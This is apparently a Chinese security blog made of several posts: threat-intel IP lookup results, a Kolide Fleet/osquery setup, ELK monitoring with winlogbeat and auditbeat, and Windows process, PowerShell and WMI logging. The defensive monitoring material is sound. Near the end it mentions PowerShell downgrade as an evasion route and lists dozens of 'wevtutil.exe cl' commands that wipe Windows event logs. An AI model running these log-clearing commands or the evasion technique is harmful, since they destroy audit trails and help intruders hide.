[{"is_proxy": false, "whitelist": "1", "ipaddr": "52.4.209.250", "user_type": "\u5883\u5916IDC", "ioctag": ["SUPPOBOX", "WWW.DSHIELD.ORG", "BOTNET", "REV 3807", "C&C", "MALICIOUS", "TROJAN-ACTIVITY", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=IPBLOCKLIST", "DDOS", "DDOS TARGET", "HTTPS://ZEUSTRACKER.ABUSE.CH/BLOCKLIST.PHP?DOWNLOAD=BADIPS"], "proxy_type": "", "location": "\u7f8e\u56fd/\u5f17\u5409\u5c3c\u4e9a\u5dde/\u963f\u4ec0\u672c", "iptag": ["RTF", "Windows \u8fdc\u63a7\u6728\u9a6c SUPPOBOX", "RANSOMWARE", "Windows \u8fdc\u63a7\u6728\u9a6c RANBYUS", "Windows \u8fdc\u63a7\u6728\u9a6c TINBA", "Windows \u8fdc\u63a7\u6728\u9a6c RAMDO", "LOCKY", "Windows \u8fdc\u63a7\u6728\u9a6c RAMNIT"], "asn": "AS14618 Amazon.com, Inc.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "185.198.59.121", "user_type": "\u5883\u5916IDC", "ioctag": ["C2", "DDOS", "MALICIOUS"], "proxy_type": "", "location": "\u7f57\u9a6c\u5c3c\u4e9a/\u5e03\u52a0\u52d2\u65af\u7279", "iptag": ["Windows \u7a83\u5bc6\u6728\u9a6c FORMBOOK", "CVE-2017-11882"], "asn": "AS60117 Host Sailor Ltd.", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "23.236.76.75", "user_type": "\u5883\u5916IDC", "asn": "AS134835 Starry Network Limited", "location": "\u7f8e\u56fd/\u52a0\u5229\u798f\u5c3c\u4e9a\u5dde/\u6d1b\u6749\u77f6", "ioctag": ["DDOS", "MALICIOUS"], "proxy_type": "", "is_idc": true},
{"is_proxy": false, "whitelist": "1", "ipaddr": "91.229.79.184", "user_type": "\u5883\u5916IDC", "asn": "AS42331 PE Freehost", "location": "\u4e4c\u514b\u5170/\u57fa\u8f85", "iptag": ["PATCHWORK", "DROPPING ELEPHANT", "APT"], "proxy_type": "", "is_idc": true}]


这里还需要增加一个机制,一旦匹配失败需要标记重新匹配。不然一旦访问出错就没有办法匹配到了

demo的结果如下.

后续想着对全部数据进行入库展示,利用mongodb或者mysql来作为后端数据库支持。前端利用flask或者tornado 来展示。

PS:后面改进了,利用loki的IOC来识别了

Kolide Fleet osquery体验

发布时间:December 17, 2018 // 分类:工作日志,开发笔记,运维工作,linux,windows // No Comments

fleet Osquery体验

Kolide Fleet是为安全专家量身打造的最先进的主机监控平台。利用Facebook久经考验的osquery项目,Kolide能够快速回答重大问题。要了解更多关于Kolide Fleet的信息,请访问https://kolide.com/fleet 【都是xxx翻译的】说的直白一点就是一个信息汇聚实时查询系统

0x00.fleet准备

根据官方的提示,可以自行安装golang环境或者使用官方提供的编译好的程序。这里主要是为了方便,解决一些依赖问题啥的。直接利用官方提供的编译好的二进程程序。

$ wget https://dl.kolide.co/bin/fleet_latest.zip
$ unzip fleet_latest.zip 'linux/*' -d fleet
$ sudo cp fleet/linux/fleet* /usr/bin/

由于fleet依赖于mysql以及redis,所以需要安装mysql和redis
要安装MySQL服务器文件,请运行以下命令

$ wget https://repo.mysql.com/mysql57-community-release-el7.rpm
$ sudo rpm -i mysql57-community-release-el7.rpm
$ sudo yum update
$ sudo yum install mysql-server

要启动MySQL服务:

$ sudo systemctl start mysqld

假如我们需要对数据库进行增删改操作,需要修改默认的数据库密码。安装的时候自动生成的数据库密码在/var/log/mysqld.log中。连接mysql并更改密码后需要重新启动mysql服务

mysql> ALTER USER "root"@"localhost" IDENTIFIED BY "toor?Fl33t";
mysql> flush privileges;
mysql> exit

停止MySQL并重新开始

$ sudo mysqld stop  
$ sudo systemctl start mysqld

然后创建一个数据库给fleet使用。

$ echo 'CREATE DATABASE kolide;' | mysql -u root -p

要安装Redis服务器文件,请运行以下命令:

$ wget http://download.redis.io/redis-stable.tar.gz
$ tar zxf redis-stable.tar.gz
$ cd redis-stable
$ make 
$ make install
$ cp redis.conf /etc/redis.conf
$ redis-server /etc/redis.conf

0x01.fleet安装配置

现在我们已经安装了Fleet,MySQL和Redis,在运行fleet之前需要对数据进行初始化

$ /usr/bin/fleet prepare db \
    --mysql_address=127.0.0.1:3306 \
    --mysql_database=kolide \
    --mysql_username=root \
    --mysql_password=toor?Fl33t

如果没有错误的话,会提示初始化完成Migrations completed.
在我们运行服务器之前,我们需要生成一些TLS密钥材料。如果您已经拥有生成有效TLS证书的工具,那么建议您使用它。您将需要TLS证书和密钥来运行Fleet服务器。如果您想生成自签名证书,可以通过以下方式执行此操作:

$ openssl genrsa -out /tmp/server.key 4096
$ openssl req -new -key /tmp/server.key -out /tmp/server.csr
$ openssl x509 -req -days 366 -in /tmp/server.csr -signkey /tmp/server.key -out /tmp/server.cert

通过如下的命令启动fleet

$ /usr/bin/fleet serve \
  --mysql_address=127.0.0.1:3306 \
  --mysql_database=kolide \
  --mysql_username=root \
  --mysql_password=toor?Fl33t \
  --redis_address=127.0.0.1:6379 \
  --server_cert=/tmp/server.cert \
  --server_key=/tmp/server.key \
  --logging_json \
  --auth_jwt_key h8IMf9Y7R5YxSS0bN6tsLV8aNehn/qHX

如果不加auth_jwt_key好像不能运行,程序会打印出一个随机码,如果加auth_jwt_key运行后程序提示在808端口上运行成功。然后访问https://ip:8080 输入一些配置信息就可以成功到界面

0x02.Osquery安装配置

Osquery的安装根据官方提供的下载地址进行安装。也可以根据fleet程序提供的安装说明进行安装.

需要对Osquery配置的就两个地方,一个是fleet的证书【tls_server_certs】和密钥【enroll_secret_path】。来源是添加主机的时候的两个地方

--enroll_secret_path=/opt/osquery/secret.pem
--tls_hostname=fleet的地址,省去https://
--tls_server_certs=/opt/osquery/fleet.pem
--host_identifier=uuid
--enroll_tls_endpoint=/api/v1/osquery/enroll
--config_plugin=tls
--config_tls_endpoint=/api/v1/osquery/config
--config_tls_refresh=10
--disable_distributed=false
--distributed_plugin=tls
--distributed_interval=10
--distributed_tls_max_attempts=3
--distributed_tls_read_endpoint=/api/v1/osquery/distributed/read
--distributed_tls_write_endpoint=/api/v1/osquery/distributed/write
--logger_plugin=tls
--logger_tls_endpoint=/api/v1/osquery/log
--logger_tls_period=10


启动的时候以命令

$ osqueryd --flagfile=/opt/osquery/osquery.flag


运行成功后在fleet会看到相关的主机连接信息

windows也是通过相同的配置连接到fleet

--enroll_secret_path=c:\ProgramData\osquery\certs\certs.pem
--tls_hostname=192.168.87.232:8080
--tls_server_certs=c:\ProgramData\osquery\certs\192.168.87.232_8080.pem
--host_identifier=uuid
--enroll_tls_endpoint=/api/v1/osquery/enroll
--config_plugin=tls
--config_tls_endpoint=/api/v1/osquery/config
--config_tls_refresh=10
--disable_distributed=false
--distributed_plugin=tls
--distributed_interval=10
--distributed_tls_max_attempts=3
--distributed_tls_read_endpoint=/api/v1/osquery/distributed/read
--distributed_tls_write_endpoint=/api/v1/osquery/distributed/write
--logger_plugin=tls
--logger_tls_endpoint=/api/v1/osquery/log
--logger_tls_period=10

0x03.fleet使用

fleet就很简单,类似一个在线的osqueryi

SELECT p.pid, name, p.path as process_path, pf.path as open_path FROM osquery_info i JOIN processes p ON p.pid = i.pid JOIN process_open_files pf ON pf.pid = p.pid  WHERE pf.path LIKE '/dev/%';

利用beat对系统进行监控

发布时间:December 10, 2018 // 分类:运维工作,开发笔记,linux,windows,生活琐事 // No Comments

主要是利用winlogbeat和auditbeat进行监控

关于安装elk.自行更新到最新版本

wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.4.2.rpm
wget https://artifacts.elastic.co/downloads/kibana/kibana-6.4.2-x86_64.rpm
wget https://artifacts.elastic.co/downloads/logstash/logstash-6.4.2.rpm

rpm -ivh elasticsearch-6.4.2.rpm 
sudo chkconfig --add elasticsearch
/etc/init.d/elasticsearch start

rpm -ivh kibana-6.4.2-x86_64.rpm 
/etc/init.d/kibana start
sudo chkconfig --add kibana

rpm -ivh logstash-6.4.2.rpm
cd /usr/share/logstash
ln -s /etc/logstash ./config

1.windows系统

暂时针对的是win7及其以上的系统才方便使用,主要的是方便升级powershell。有点奇葩的是需要系统是正版,如果不是请自行激活。相关的记录参照针对windows下命令记录的种种

这里的监控主要是开启了各种命令执行记录放进事件文件中,然后利用winlogbeat对相关文件进行监控。然后安装Winlogbeat服务

PS C:\Users\Administrator> cd 'C:\Program Files\Winlogbeat'
PS C:\Program Files\Winlogbeat> .\install-service-winlogbeat.ps1

Security warning
Run only scripts that you trust. While scripts from the internet can be useful,
this script can potentially harm your computer. If you trust this script, use
the Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run C:\Program Files\Winlogbeat\install-service-winlogbeat.ps1?
[D] Do not run  [R] Run once  [S] Suspend  [?] Help (default is "D"): R

Status   Name               DisplayName
------   ----               -----------
Stopped  winlogbeat         winlogbeat

相关的配置文件winlogbeat.yml

###################### Winlogbeat Configuration Example ##########################

# This file is an example configuration file highlighting only the most common
# options. The winlogbeat.full.yml file from the same directory contains all the
# supported options with more comments. You can use it as a reference.
#
# You can find the full configuration reference here:
# https://www.elastic.co/guide/en/beats/winlogbeat/index.html

#======================= Winlogbeat specific options ==========================

# event_logs specifies a list of event logs to monitor as well as any
# accompanying options. The YAML data type of event_logs is a list of
# dictionaries.
#
# The supported keys are name (required), tags, fields, fields_under_root,
# forwarded, ignore_older, level, event_id, provider, and include_xml. Please
# visit the documentation for the complete details of each option.
# https://go.es.io/WinlogbeatConfig

winlogbeat.event_logs:
  - name: Application
    ignore_older: 72h
    fields:
      log_type: windowsevt
  - name: Security
    fields:
      log_type: windowsevt
  - name: System
    fields:
      log_type: windowsevt
  - name: Windows PowerShell
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-PowerShell/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-WMI-Activity/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational
    fields:
      log_type: windowsevt
  - name: Microsoft-Windows-Sysmon/Operational
    fields:
      log_type: windowsevt 
#================================ General =====================================

# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:

# The tags of the shipper are included in their own field with each
# transaction published.
#tags: ["service-X", "web-tier"]

# Optional fields that you can specify to add additional information to the
# output.
#fields:
#  env: staging

#================================ Outputs =====================================

# Configure what outputs to use when sending the data collected by the beat.
# Multiple outputs may be used.

#-------------------------- Elasticsearch output ------------------------------
# output.elasticsearch:
#   # Array of hosts to connect to.

  # Optional protocol and basic auth credentials.
  # protocol: "http"
#----------------------------- Logstash output --------------------------------
output.logstash:
  #The Logstash hosts
  hosts: ["localhost:5044"]

  # Optional SSL. By default is off.
  # List of root certificates for HTTPS server verifications
  #ssl.certificate_authorities: ["/etc/pki/root/ca.pem"]

  # Certificate for SSL client authentication
  #ssl.certificate: "/etc/pki/client/cert.pem"

  # Client Certificate Key
  #ssl.key: "/etc/pki/client/cert.key"

#================================ Logging =====================================
# Sets log level. The default log level is info.
# Available log levels are: critical, error, warning, info, debug
#logging.level: debug

# At debug level, you can selectively enable logging only for some components.
# To enable all selectors use ["*"]. Examples of other selectors are "beat",
# "publish", "service".
#logging.selectors: ["*"]
logging.to_files: true
logging.files: 
  path: C:/ProgramData/winlogbeat/Logs
logging.level: info

再启动winlogbeat服务

net start winlogbeat

需要修改output.logstash:中的host为相关安装elk的机器。同时该机器的logstash的配置如下

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}

filter {

if ([fields][log_type] == "windowsevt") {

mutate {
 add_field => { "[orig_message]" => "%{message}" }
 }

#substitute some fields
 mutate {
 gsub => [
 "message", "\r\n", " ",
 "message", "\n", " " 
 ] 
 }

#Filter the message field of events 403 and 400
 if ([event_id] == 403 or [event_id] == 400) {
 grok {
 match => { "message" => "%{GREEDYDATA:[event_data][msg]}\sDetails:\s*NewEngineState\s*=\s*%{GREEDYDATA:[event_data][details][newenginewtate]}\s*PreviousEngineState\s*=\s*%{GREEDYDATA:[event_data][details][previousengineState]}\s*SequenceNumber\s*=\s*%{INT:[event_data][details][sequencenumber]}\s*HostName\s*=\s*%{GREEDYDATA:[event_data][details][hostname]}\s*Host\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][hostversion]}\s*Host\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][hostid]}\s*Host\s*Application\s*=\s*%{GREEDYDATA:[event_data][details]hostapplication]}\s*Engine\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][engineversion]}\s*Runspace\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][runspaceid]}\s*Pipeline\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][pipelineid]}\s*Command\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][commandname]}\s*Command\s*Type\s*=\s*%{GREEDYDATA:[event_data][details][commandtype]}\s*Script\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][scriptmname]}\s*Command\s*Path\s*=\s*%{GREEDYDATA:[event_data][details][commandpath]}\s*Command\s*Line\s*=\s*%{GREEDYDATA:[event_data][details][commandline]}" }
 } 
 }
 #Filter the message field of event 600
 if ([event_id] == 600) {
 grok {
 match => { "message" => "%{GREEDYDATA:[event_data][msg]}\sDetails:\s*ProviderName\s*=\s*%{GREEDYDATA:[event_data][details][providername]}\s*NewProviderState\s*=\s*%{GREEDYDATA:[event_data][details][newproviderstate]}\s*SequenceNumber\s*=\s*%{INT:[event_data][details][sequencenumber]}\s*HostName\s*=\s*%{GREEDYDATA:[event_data][details][hostname]}\s*Host\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][hostversion]}\s*Host\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][hostid]}\s*Host\s*Application\s*=\s*%{GREEDYDATA:[event_data][details]hostapplication]}\s*Engine\s*Version\s*=\s*%{GREEDYDATA:[event_data][details][engineversion]}\s*Runspace\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][runspaceid]}\s*Pipeline\s*Id\s*=\s*%{GREEDYDATA:[event_data][details][pipelineid]}\s*Command\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][commandname]}\s*Command\s*Type\s*=\s*%{GREEDYDATA:[event_data][details][commandtype]}\s*Script\s*Name\s*=\s*%{GREEDYDATA:[event_data][details][scriptmname]}\s*Command\s*Path\s*=\s*%{GREEDYDATA:[event_data][details][commandpath]}\s*Command\s*Line\s*=\s*%{GREEDYDATA:[event_data][details][commandline]}" }
 } 
 }

#standartize the IP address field
 if ([event_data][IPString]) {
 mutate {
 rename => { "[event_data][IPString]" => "[remote_ip]" }
 }
 }

#standartize the IP address field
 if ([event_data][ClientAddress]) {
 mutate {
 rename => { "[event_data][ClientAddress]" => "[remote_ip]" }
 }
 }
 #standartize the IP address field
 if ([event_data][IpAddress]) {
 grok {
 match => { "[event_data][IpAddress]" => "%{IPV4:[remote_ip]}" }
 }

}

#Split Remote IP and Port 
 if ([event_data][ClientIP]) {
 mutate {
 split => ["[event_data][ClientIP]" , ":"]
 add_field => { "[remote_ip]" => "%{[event_data][ClientIP][0]}" }
 add_field => { "[port]" => "%{[event_data][ClientIP][1]}" }
 remove_field => [ "[event_data][ClientIP]" ]
 }
 }

#add GeoIP
 geoip {
 source => "[remote_ip]]"
 target => "[geoip]"
 }
}
}

output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "windowsevt-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

当然也可以精简为

input {
  beats {
    port => 5044
    host => "0.0.0.0"
  }
}


output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "auditbeat-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

启动logstash

./bin/logstash -f config/conf.d/winevtx.conf

同时该机器需要打开防火墙开放5044端口给相关的机器。到kibana新建索引

测试执行wmi


非常规应用

缺点也是非常明显,一旦停止了sysmon和winlogbeat,就无法继续采集到信息了。

2.linux系统

开始准备使用Audit来实现,后来发现elastic发现一个神奇的玩意Auditbeat。发现网上大多数都是直接写入es或者kibana。直接写入logstash的好像很少。记录一下

https://artifacts.elastic.co/downloads/beats/auditbeat/auditbeat-6.5.2-x86_64.rpm
rpm -ivh auditbeat-6.5.2-x86_64.rpm
sudo chkconfig --add auditbeat
#修改/etc/auditbeat/auditbeat.yml
mv /etc/auditbeat/auditbeat.yml /etc/auditbeat/auditbeat.yml_bak
wget http://0cx.cc/ps/auditbeat.yml -O /etc/auditbeat/auditbeat.yml

值得需要修改的地方

- module: file_integrity
  paths:

如果需要新增监控的目录就继续写 - path。这里的path需要的是绝对路径,另外一个地方是output.logstash。修改为自己elk的机器。集合之前写的bash执行命令监控,可以持续监控。保存后重启auditbeat

service auditbeat restart

logstash建立监控配置

vim auditbeat.conf
input {
  beats {
    port => 5045
    host => "0.0.0.0"
  }
}


output {
  elasticsearch {
    hosts => ["127.0.0.1:9200"]
    index => "auditbeat-%{+YYYY.MM.dd}"
    manage_template => false
  }
  stdout { codec => rubydebug }
}

同样的在主机上修改防火墙打开对应的5045端口。然后在kibana新建索引即可。但是这里有个坑爹的地方,需要在相关的机器上修改对应的机器名.linux默认机器名都是localhost.localdomain

缺点也是非常明显,一旦停止了auditbeat服务以后就gg了,还有就是SYSMON会在某个时候突然占用大量的CPU.这个问题不是很好解决

参考

https://github.com/margusmaki/ELK
https://raw.githubusercontent.com/Mosuan/AuditdPy/master/docs/rule.txt

针对windows下命令记录的种种

发布时间:December 2, 2018 // 分类:运维工作,开发笔记,工作日志,windows // No Comments

处于客户的某种需求需要对windows系统进行进程监控,想了几个办法,但是走了一些弯路,不过好在还是实现了

最开始想到的是hook,后记录cmd命令,后来小伙伴提示不仅仅是cmd命令。还有其他的进程信息。这类例举了一些可以依赖于系统实现和记住第三方实现的方式

1. 系统自带的gpedit.msc

实际上,在win10、win8、win2012、win2016上面,是可以手动开启4688进程记录的,并且记录详细的命令信息。开启方法如下。
打开gpedit.msc
计算机配置 > 策略 > Windows 设置 > 安全设置 > 高级审核配置 > 详细跟踪>审核创建进程

然后到
管理 模板\系统\审核创建的进程\在创建事件的过程中包含命令行

2. 借助工具sysmon可以实现

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

Sysmon.exe -accepteula -i -l -n
Sysmon64.exe -accepteula -i -l -n

与此执行相关联的标志是:

-l:记录模块的加载。(可选)列出要跟踪的进程列表
-i: 安装服务和驱动程序。(可选)获取配置文件。
-n: 记录网络连接。(可选)列出要跟踪的进程列表。
只需键入以下命令即可查看配置: Sysmon -c

安装好以后会在%SystemRoot%\System32\Winevt\Logs\出现Microsoft-Windows-Sysmon%4Operational.evtx

此外,Sysmon还允许我们创建可自定义的配置文件,允许我们根据系统上发生的某些活动创建Windows事件日志记录。例如,您可以通过监视进程wmiprvse.exe来告诉Sysmon开始监视与WMI命令执行相关的活动。配置文件格式全部采用XML格式,因此您可以自行定制。如果您不想出于任何原因自定义XML文件,则可以从此Github资源sysmon配置下载Sysmon的特定配置文件列表 。下载任何配置文件后,只需将它们与-c标志一起运行,如下例所示

Sysmon64.exe -c c:\Scripts\Sysmon\scripts\T0000_wmic_remote.xml -l -n 
Sysmon64.exe -c c:\Scripts\Sysmon\scripts\T1138_appcompat.xml -l -

给出一个配置文件例子

<Sysmon schemaversion="3.4">
 <!-- Capture all hashes -->
 <HashAlgorithms>*</HashAlgorithms>
 <EventFiltering>
 <!-- Event ID 1 == Process Creation. -->
 <ProcessCreate onmatch="include">
 <ParentImage condition="end with">wmiprvse.exe</ParentImage>
 <ParentImage condition="contains">cmd.exe</ParentImage>
 <ParentImage condition="contains">wscript.exe</ParentImage>
 <ParentImage condition="contains">svchost.exe</ParentImage>
 <ParentImage condition="contains">powershell.exe</ParentImage>
 <ParentImage condition="contains">mshta.exe</ParentImage>
 <ParentImage condition="contains">office</ParentImage>
 <Image condition="end with">cscript.exe</Image>
 <Image condition="end with">wscript.exe</Image>
 <Image condition="end with">cmd.exe</Image>
 <Image condition="end with">powershell.exe</Image>
 <Image condition="end with">sh.exe</Image>
 <Image condition="end with">bash.exe</Image>
 <Image condition="end with">scrcons.exe</Image>
 <Image condition="end with">regsvr32.exe</Image> 
 <Image condition="end with">hh.exe</Image> 
 </ProcessCreate>
 <!-- Event ID 2 == File Creation Time. -->
 <FileCreateTime onmatch="include"/>
 <!-- Event ID 3 == Network Connection. -->
 <NetworkConnect onmatch="include"/>
 <!-- Event ID 5 == Process Terminated. -->
 <ProcessTerminate onmatch="include"/>
 <!-- Event ID 6 == Driver Loaded. -->
 <DriverLoad onmatch="include"/>
 <!-- Event ID 7 == Image Loaded. -->
 <ImageLoad onmatch="include"/>
 <!-- Event ID 8 == CreateRemoteThread. -->
 <CreateRemoteThread onmatch="include"/>
 <!-- Event ID 9 == RawAccessRead. -->
 <RawAccessRead onmatch="include"/>
 <!-- Event ID 10 == ProcessAccess. -->
 <ProcessAccess onmatch="include"/>
 <!-- Event ID 11 == FileCreate. -->
 <FileCreate onmatch="include"/>
 <!-- Event ID 12,13,14 == RegObject added/deleted, RegValue Set, RegObject Renamed. -->
 <RegistryEvent onmatch="include"/>
 <!-- Event ID 15 == FileStream Created. -->
 <FileCreateStreamHash onmatch="include" />
 <!-- Event ID 17,18 == PipeEvent. Log Named pipe created & Named pipe connected -->
 <PipeEvent onmatch="include"/>
 <!-- Event ID 19,20,21, == WmiEvent. Log all WmiEventFilter, WmiEventConsumer, WmiEventConsumerToFilter activity-->
 <WmiEvent onmatch="include"/>
 </EventFiltering>
</Sysmon>

正如您在上面的示例中所看到的,HashAlgorithms中的*(星号)符号 XML只是告诉Sysmon计算已执行进程的所有可能哈希值(即MD5,SHA1,SHA256和IMPHASH)。当您阅读Logstash配置部分时,您将看到如何将这些哈希值拆分到它们自己的字段以及如何在Kibana中创建每个字段的表。好吧,在流程创建部分,您可以设置流程名称的触发器,包括设置父子流程,每个触发器的条件等。Sysmon还允许您为网络连接生成其他事件,加载驱动程序并继续列表。我建议您在其他在线资源中阅读Sysmon,以便掌握Sysmon的全部功能。其中一些资源在本文末尾的参考部分中提到。

3. 开启powershell记录

可以借助wevtutil来实现

wevtutil Set-Log "Microsoft-Windows-PowerShell/Analytic" /q:true /e:true

PowerShell v3/v4 全面的日志记录

借助对 Windows 事件跟踪 (ETW) 日志、模块中可编辑的 LogPipelineExecutionDetails属性和“打开模块日志记录”组策略设置的支持,Windows PowerShell 3.0 改进了对命令和模块的日志记录和跟踪支持。 自PowerShell v3版本以后支持启用PowerShell模块日志记录功能,并将此类日志归属到了4103事件。最新的PowerShell v5 提供反混淆功能
启用脚本块日志可以以管理员权限运行PowerShell v5,并运行以下命令即可:

Install-Module -Name scriptblocklogginganalyzer -Scope CurrentUser
set-SBLLogSize -MaxSizeMB 1000
Enalbe-SBL

或者通过GPO启用PowerShell脚本块日志记录功能并记录脚本文件的调用信息:
计算机配置\策略\管理模板\ Windows组件\ Windows PowerShell
先启用模块日志记录


再打开powershell脚本块日志记录

当然也可以通过修改以下注册表选项来开启:

HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging → EnableScriptBlockLogging = 1

查看powershell事件记录id4103可以看到具体执行的命令


同时sysmon也检测到了

PowerShell 5.0支持Windows 7/2008 R2及更高版本的操作系统。虽然PowerShell 5.0的许多增强日志记录功能都被反向移植到4.0版,但还是建议在所有Windows平台上安装PowerShell 5.0。 PowerShell 5.0包含4.0中未提供的功能,包括可疑的脚本块日志记录。

对策就是需要使用powershell攻击的话,采用降级powershell最靠谱的方式

win7升级powershell
https://docs.microsoft.com/en-us/powershell/wmf/overview

下载适合的版本,打补丁的时候如果失败可以考虑退出杀软

4. 开启wmi记录

fireeye的大佬写了一个来记录
https://github.com/realparisi/WMI_Monitor
使用方式

Import-Module .\WMIMonitor.ps1
New-EventSubscriberMonitor 


日志记录在应用程序中,以wsh事件id为8的事件


注意:在使用脚本之前,必须以管理员身份运行PowerShell。该脚本需要PowerShell版本3或更高版本(最新版本为5),并将作为两个单独的PowerShell函数在其当前状态下运行。


参考
https://www.fireeye.com/blog/threat-research/2016/08/wmi_vs_wmi_monitor.html
https://mp.weixin.qq.com/s/mhwLrXlxz8LzoieWsstGvQ
https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html

PS

如果把这些进程传递到某一集中中心,加上端口,服务,文件等等。再把文件和进程以及端口丢到ioc,再加上某些特征。是不是又是一个新的态势

BUt清理日志有wevtutil.exe 。以及大佬的技巧渗透技巧-Windows单条日志的删除

wevtutil.exe cl "ACEEventLog"
wevtutil.exe cl "Application"
wevtutil.exe cl "HardwareEvents"
wevtutil.exe cl "Internet Explorer"
wevtutil.exe cl "Key Management Service"
wevtutil.exe cl "Media Center"
wevtutil.exe cl "Microsoft-Windows-API-Tracing/Operational"
wevtutil.exe cl "Microsoft-Windows-AppID/Operational"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Problem-Steps-Recorder"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Assistant"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Compatibility-Troubleshooter"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Inventory"
wevtutil.exe cl "Microsoft-Windows-Application-Experience/Program-Telemetry"
wevtutil.exe cl "Microsoft-Windows-AppLocker/EXE and DLL"
wevtutil.exe cl "Microsoft-Windows-AppLocker/MSI and Script"
wevtutil.exe cl "Microsoft-Windows-Audio/CaptureMonitor"
wevtutil.exe cl "Microsoft-Windows-Audio/Operational"
wevtutil.exe cl "Microsoft-Windows-Authentication User Interface/Operational"
wevtutil.exe cl "Microsoft-Windows-Backup"
wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Admin"
wevtutil.exe cl "Microsoft-Windows-BitLocker-DrivePreparationTool/Operational"
wevtutil.exe cl "Microsoft-Windows-Bits-Client/Operational"
wevtutil.exe cl "Microsoft-Windows-Bluetooth-MTPEnum/Operational"
wevtutil.exe cl "Microsoft-Windows-BranchCache/Operational"
wevtutil.exe cl "Microsoft-Windows-BranchCacheSMB/Operational"
wevtutil.exe cl "Microsoft-Windows-CodeIntegrity/Operational"
wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Client/Operational"
wevtutil.exe cl "Microsoft-Windows-CorruptedFileRecovery-Server/Operational"
wevtutil.exe cl "Microsoft-Windows-DateTimeControlPanel/Operational"
wevtutil.exe cl "Microsoft-Windows-DeviceSync/Operational"
wevtutil.exe cl "Microsoft-Windows-Dhcp-Client/Admin"
wevtutil.exe cl "Microsoft-Windows-DhcpNap/Admin"
wevtutil.exe cl "Microsoft-Windows-Dhcpv6-Client/Admin"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-DPS/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-PCW/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-PLA/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scheduled/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Admin"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-Scripted/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnosis-ScriptedDiagnosticsProvider/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnostics-Networking/Operational"
wevtutil.exe cl "Microsoft-Windows-Diagnostics-Performance/Operational"
wevtutil.exe cl "Microsoft-Windows-DiskDiagnostic/Operational"
wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticDataCollector/Operational"
wevtutil.exe cl "Microsoft-Windows-DiskDiagnosticResolver/Operational"
wevtutil.exe cl "Microsoft-Windows-DriverFrameworks-UserMode/Operational"
wevtutil.exe cl "Microsoft-Windows-EapHost/Operational"
wevtutil.exe cl "Microsoft-Windows-EventCollector/Operational"
wevtutil.exe cl "Microsoft-Windows-Fault-Tolerant-Heap/Operational"
wevtutil.exe cl "Microsoft-Windows-FMS/Operational"
wevtutil.exe cl "Microsoft-Windows-Folder Redirection/Operational"
wevtutil.exe cl "Microsoft-Windows-Forwarding/Operational"
wevtutil.exe cl "Microsoft-Windows-GroupPolicy/Operational"
wevtutil.exe cl "Microsoft-Windows-Help/Operational"
wevtutil.exe cl "Microsoft-Windows-HomeGroup Control Panel/Operational"
wevtutil.exe cl "Microsoft-Windows-HomeGroup Listener Service/Operational"
wevtutil.exe cl "Microsoft-Windows-HomeGroup Provider Service/Operational"
wevtutil.exe cl "Microsoft-Windows-IKE/Operational"
wevtutil.exe cl "Microsoft-Windows-International/Operational"
wevtutil.exe cl "Microsoft-Windows-International-RegionalOptionsControlPanel/Operational"
wevtutil.exe cl "Microsoft-Windows-Iphlpsvc/Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-EventTracing/Admin"
wevtutil.exe cl "Microsoft-Windows-Kernel-Power/Thermal-Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-StoreMgr/Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-WDI/Operational"
wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Errors"
wevtutil.exe cl "Microsoft-Windows-Kernel-WHEA/Operational"
wevtutil.exe cl "Microsoft-Windows-Known Folders API Service"
wevtutil.exe cl "Microsoft-Windows-LanguagePackSetup/Operational"
wevtutil.exe cl "Microsoft-Windows-MCT/Operational"
wevtutil.exe cl "Microsoft-Windows-MemoryDiagnostics-Results/Debug"
wevtutil.exe cl "Microsoft-Windows-MUI/Admin"
wevtutil.exe cl "Microsoft-Windows-MUI/Operational"
